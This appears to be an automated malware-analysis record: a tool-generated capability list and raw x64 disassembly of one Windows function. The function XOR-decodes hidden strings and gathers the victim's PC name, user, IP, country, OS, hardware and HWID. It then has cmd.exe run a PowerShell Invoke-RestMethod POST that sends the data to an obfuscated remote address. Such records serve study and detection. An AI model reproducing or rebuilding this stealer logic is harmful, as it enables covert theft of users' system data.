Function at 0x140008a80
Capabilities:
Authenticate hmac
Check if file exists
Check internet connectivity via wininet
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Get file attributes
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xd88]
sub rsp, 0xe60
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14006a040]
xor rax, rsp
mov qword [rbp + 0xd40], rax
xor esi, esi
movups xmm0, xmmword [str.CLII]
movups xmmword [rbp + 0x7e0], xmm0
movups xmm1, xmmword [0x14005ca00]
movups xmmword [rbp + 0x7f0], xmm1
movups xmm0, xmmword [0x14005ca10]
movups xmmword [rbp + 0x800], xmm0
movups xmm1, xmmword [0x14005ca20]
movups xmmword [rbp + 0x810], xmm1
movups xmm0, xmmword [0x14005ca30]
movups xmmword [rbp + 0x820], xmm0
movups xmm1, xmmword [0x14005ca40]
movups xmmword [rbp + 0x830], xmm1
movups xmm0, xmmword [0x14005ca50]
movups xmmword [rbp + 0x840], xmm0
movsd xmm0, qword [0x14005ca60]
movsd qword [rbp + 0x850], xmm0
movzx eax, word [0x14005ca68]
mov word [rbp + 0x858], ax
movups xmm0, xmmword [0x14005b940]
movups xmmword [rbp + 0x710], xmm0
movups xmm1, xmmword [0x14005b950]
movups xmmword [rbp + 0x720], xmm1
movups xmm0, xmmword [0x14005b960]
movups xmmword [rbp + 0x730], xmm0
movups xmm1, xmmword [0x14005b970]
movups xmmword [rbp + 0x740], xmm1
movups xmm0, xmmword [0x14005b980]
movups xmmword [rbp + 0x750], xmm0
movsd xmm0, qword [0x14005b990]
movsd qword [rbp + 0x760], xmm0
movzx eax, word [0x14005b998]
mov word [rbp + 0x768], ax
movzx eax, byte [0x14005b99a]
mov byte [rbp + 0x76a], al
mov r8d, esi
mov r13d, dword [0x14006a098]
cmp r13d, 2
jl 0x140008d05
movdqa xmm5, xmmword [0x14005ce70]
movdqa xmm4, xmmword [0x14005cee0]
movdqa xmm6, xmmword [0x14005ce90]
movdqa xmm0, xmmword [0x14005ced0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rcx, [rbp + 0x7e4]
mov edx, dword [rbp + 0x5f0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140008c00
cmp r8d, 0x7a
jge 0x140008d50
movsxd rax, r8d
lea r9, [rbp + 0x7e0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7a
jl 0x140008d20
mov r8d, esi
cmp r13d, 2
jl 0x140008e97
movdqa xmm5, xmmword [0x14005ce70]
movdqa xmm4, xmmword [0x14005cee0]
movdqa xmm6, xmmword [0x14005ce90]
movdqa xmm0, xmmword [0x14005ced0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rcx, [rbp + 0x714]
mov edx, dword [rbp + 0x5f0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140008d92
cmp r8d, 0x5b
jge 0x140008ee0
movsxd rax, r8d
lea r9, [rbp + 0x710]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x140008eb0
lea rcx, [rbp + 0x860]
call fcn.140007e20
xor r8d, r8d
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rcx, [rbp + 0x6d8]
call fcn.140008220
lea rcx, [rbp + 0x6d8]
call fcn.140007e40
nop
mov rdi, qword [rbp + 0x6e0]
mov rbx, qword [rbp + 0x6d8]
cmp rbx, rdi
je 0x140008f42
nop
mov rcx, qword [rbx]
call qword [sym.imp.GDI32.dll_DeleteObject]
add rbx, 8
cmp rbx, rdi
jne 0x140008f30
mov rcx, qword [rbp + 0x6d0]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea rcx, [0x14006a0f8]
call fcn.140041d50
mov rbx, rax
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x70]
call fcn.140004bc0
nop
lea r8, str.____PC_Name:
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.1400437c0
nop
lea r8, [0x14006b798]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400437c0
nop
lea r8, str.____User:
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400437c0
nop
lea r8, [0x14006b7f0]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.1400437c0
nop
lea r8, str.____Xbox:
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400437c0
nop
lea r8, [0x14006b778]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400437c0
nop
lea r8, str.____IP:
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.1400437c0
nop
lea r8, [0x14006b8d8]
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.140043830
nop
mov r8d, 3
lea rdx, [0x140055bb8]
mov rcx, rax
call fcn.140041d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x680], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, str.____IP_Local:
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x330]
call fcn.1400437c0
nop
lea r8, [0x14006b8b8]
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1400437c0
nop
lea r8, str.____Country:
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.1400437c0
nop
lea r8, [0x14006b830]
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140043830
nop
lea r8, str._______OS:
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.1400437c0
nop
lea r8, [0x14006b950]
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140043830
nop
lea r8, [0x140055c2c]
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.1400437c0
nop
lea r8, [0x14006b850]
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.1400437c0
nop
lea r8, str.____GPU:
mov rdx, rax
lea rcx, [rbp + 0x1f0]
call fcn.1400437c0
nop
lea r8, [0x14006b890]
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400437c0
nop
lea r8, str.____Memory_Usage:
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.1400437c0
nop
lea r8, [0x14006b930]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x4f0]
call fcn.1400437c0
nop
lea r8, str.____CPU:
mov rdx, rax
lea rcx, [rbp + 0x4d0]
call fcn.1400437c0
nop
lea r8, [0x14006b870]
mov rdx, rax
lea rcx, [rbp + 0x4b0]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x490]
call fcn.1400437c0
nop
lea r8, str.____Screen:
mov rdx, rax
lea rcx, [rbp + 0x470]
call fcn.1400437c0
nop
lea r8, [0x14006b810]
mov rdx, rax
lea rcx, [rbp + 0x450]
call fcn.140043830
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400437c0
nop
lea r8, str.____HWID:
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.1400437c0
nop
lea r8, [0x14006b910]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.140043830
nop
lea r8, str._______Verssion:
mov rdx, rax
lea rcx, [rbp + 0x3f0]
call fcn.1400437c0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.1400437c0
nop
lea r8, [0x140055bb8]
mov rdx, rax
lea rcx, [rbp + 0x7b0]
call fcn.1400437c0
nop
lea rcx, [rbp + 0x3d0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x3f0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x410]
call fcn.140041e20
nop
lea rcx, [rbp + 0x430]
call fcn.140041e20
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140009396
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009391
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009391
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
lea rcx, [rbp + 0x450]
call fcn.140041e20
nop
lea rcx, [rbp + 0x470]
call fcn.140041e20
nop
lea rcx, [rbp + 0x490]
call fcn.140041e20
nop
lea rcx, [rbp + 0x4b0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x4d0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x4f0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x170]
call fcn.140041e20
nop
lea rcx, [rbp + 0x190]
call fcn.140041e20
nop
lea rcx, [rbp + 0x1b0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x1d0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x1f0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x210]
call fcn.140041e20
nop
lea rcx, [rbp + 0x230]
call fcn.140041e20
nop
lea rcx, [rbp + 0x250]
call fcn.140041e20
nop
lea rcx, [rbp + 0x270]
call fcn.140041e20
nop
lea rcx, [rbp + 0x290]
call fcn.140041e20
nop
lea rcx, [rbp + 0x2b0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x2d0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x2f0]
call fcn.140041e20
nop
lea rcx, [rbp + 0x310]
call fcn.140041e20
nop
lea rcx, [rbp + 0x330]
call fcn.140041e20
nop
lea rcx, [rbp + 0x670]
call fcn.140041e20
nop
lea rcx, [rbp + 0x350]
call fcn.140041e20
nop
lea rcx, [rbp + 0x3b0]
call fcn.140041e20
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140009529
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009524
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009524
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140009584
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000957f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000957f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x1400095df
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400095da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14000963a
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009635
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009635
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140009695
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1400096ea
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400096e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140009739
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009734
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140009788
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009783
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009783
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
lea rcx, [rbp + 0x370]
call fcn.140041e20
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400097e7
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov r8d, 0x104
lea rdx, [rbp + 0xb30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x690], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6a0], xmm1
lea rax, [rbp + 0xb30]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140009840
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x690]
call fcn.14001a7f0
nop
lea rdx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 7
cmova rdx, qword [rbp + 0x690]
mov rax, qword [rbp + 0x6a0]
lea r9, [rdx + rax*2]
lea rdx, [rbp + 0x690]
cmova rdx, qword [rbp + 0x690]
xorps xmm0, xmm0
movups xmmword [rbp + 0x790], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7a0], xmm1
cmp rdx, r9
jne 0x1400098c3
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x7a0], xmm0
mov byte [rbp + 0x790], 0
jmp 0x1400098d6
sub r9, rdx
sar r9, 1
lea rcx, [rbp + 0x790]
call fcn.140049cb0
nop
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
mov r15, qword [rbp + 0x7c0]
sub rax, r15
cmp rax, 0x2a
jb 0x14000b6f4
lea r12, [rbp + 0x7b0]
mov rax, qword [rbp + 0x7b0]
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp + 0x7c8]
mov qword [rbp - 0x20], rcx
cmp rcx, 0xf
cmova r12, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5c0], xmm1
lea r14, [r15 + 0x2a]
mov ebx, 0xf
lea rdi, [rbp + 0x5b0]
movabs rax, 0x8000000000000000
lea ecx, [rbx + 7]
cmp r14, rbx
jbe 0x1400099c4
mov rbx, r14
or rbx, 0xf
cmp rbx, rdx
jbe 0x140009981
mov rbx, rdx
add rax, 0x27
mov rcx, rax
call fcn.14004de58
test rax, rax
je 0x1400099a4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400099bd
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400099ab
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b6e2
jmp 0x140009966
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400099ba
call fcn.14004de58
mov rdi, rax
jmp 0x1400099bd
mov rdi, rcx
mov qword [rbp + 0x5b0], rdi
mov qword [rbp + 0x5c0], r14
mov qword [rbp + 0x5c8], rbx
movups xmm0, xmmword [str.powershell__Command___body___content__]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140055d20]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x140055d30]
movsd qword [rdi + 0x20], xmm0
movzx eax, word [0x140055d38]
mov word [rdi + 0x28], ax
lea rcx, [rdi + 0x2a]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 0x2d
lea rdx, str.__ConvertTo_Json__Invoke_RestMethod__Uri_
lea rcx, [rbp + 0x5b0]
call fcn.140041d80
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x18], 0xf
xor r15d, r15d
mov qword [rax + 0x10], r15
mov byte [rax], r15b
lea rax, [rbp + 0x7e0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009a70
lea rdx, [rbp + 0x7e0]
lea rcx, [rsp + 0x40]
call fcn.140041d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x610], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x620], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r15
mov byte [rax], 0
mov r8d, 0x3b
lea rdx, str.__Method_Post__Body__body__ContentType_application_json_
lea rcx, [rbp + 0x610]
call fcn.140041d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x650], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x660], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x628]
cmp rdx, 0xf
jbe 0x140009b5a
inc rdx
mov rcx, qword [rbp + 0x610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x620], xmm0
mov byte [rbp + 0x610], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140009bb1
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0xf
jbe 0x140009c08
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x5c0], xmm0
mov byte [rbp + 0x5b0], 0
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0xf
cmova rdx, qword [rbp + 0x650]
mov r8, qword [rbp + 0x660]
add r8, rdx
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0xf
cmova rdx, qword [rbp + 0x650]
lea rcx, [rbp + 0x770]
call fcn.140044b70
nop
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
mov rcx, qword [rbp + 0x780]
sub rax, rcx
cmp rax, 3
jb 0x14000b6fa
lea rax, [rbp + 0x770]
cmp qword [rbp + 0x788], 7
cmova rax, qword [rbp + 0x770]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
lea r9, [0x140055d40]
lea rcx, [rbp + 0x6f0]
call fcn.140049820
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
movups xmmword [rbp + 0x560], xmm0
movups xmmword [rbp + 0x570], xmm0
movups xmmword [rbp + 0x580], xmm0
mov dword [rbp + 0x520], WSACleanup
mov dword [rbp + 0x524], 0x40
mov qword [rbp + 0x528], r15
lea rax, [0x140055d48]
mov qword [rbp + 0x530], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x6f0]
cmp qword [rbp + 0x708], 7
cmova rax, qword [rbp + 0x6f0]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r15
mov dword [rbp + 0x550], r15d
mov qword [rbp + 0x558], r15
lea rcx, [rbp + 0x520]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x6b0]
call fcn.140008230
nop
cmp qword [rbp + 0x6c0], 0
jne 0x140009dcc
lea rdx, str.Failed_to_get_AppDataTemp_directory_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140044780
lea rdx, [0x140044b30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000b42b
lea rcx, [rbp + 0x5d0]
